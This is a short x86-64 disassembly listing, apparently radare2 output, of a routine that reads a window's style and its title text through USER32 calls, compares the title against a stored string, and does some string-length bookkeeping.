call sub.USER32.dll_GetWindowLongPtrW
mov r15, rax
and r15, 0x80
cmp r15, 0x80
je 0x14007be2d
push rcx
sub rsp, 0x28
call fcn.1400e81a0
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400e81a0
add rsp, 0x28
pop rcx
push rax
push 0x100
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400e51e0
add rsp, 0x28
lea rcx, [rsp + 0x30]
pop rdx
call fcn.1400e8260
push 0x100
push qword [rsp + 0x30]
push qword [0x140b36ac8]
pop rcx
pop rdx
pop r8
call sub.USER32.dll_GetWindowTextW
push qword [rsp + 0x28]
movabs rcx, 0x14019f0ba
pop rdx
call fcn.1400e8340
or rax, rax
jne 0x14007be2d
jmp 0x14007be4a
jmp 0x14007be3a
mov qword [0x140b36ac0], 0
mov r15, qword [0x140b36ac8]
and r15, r15
jne 0x14007bd0f
mov rcx, qword [rsp + 0x28]
push rcx
sub rsp, 0x28
call fcn.1400e81a0
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400e81f0
add rsp, 0x28
pop rax
push rax
call fcn.1400e8490
pop rdx
add rax, rdx
jmp 0x14007be83
push rax
mov rcx, qword [rsp + 0x30]
sub rsp, 0x28
call fcn.1400e8630
add rsp, 0x28
pop rax
add rsp, 0x30
pop r15
ret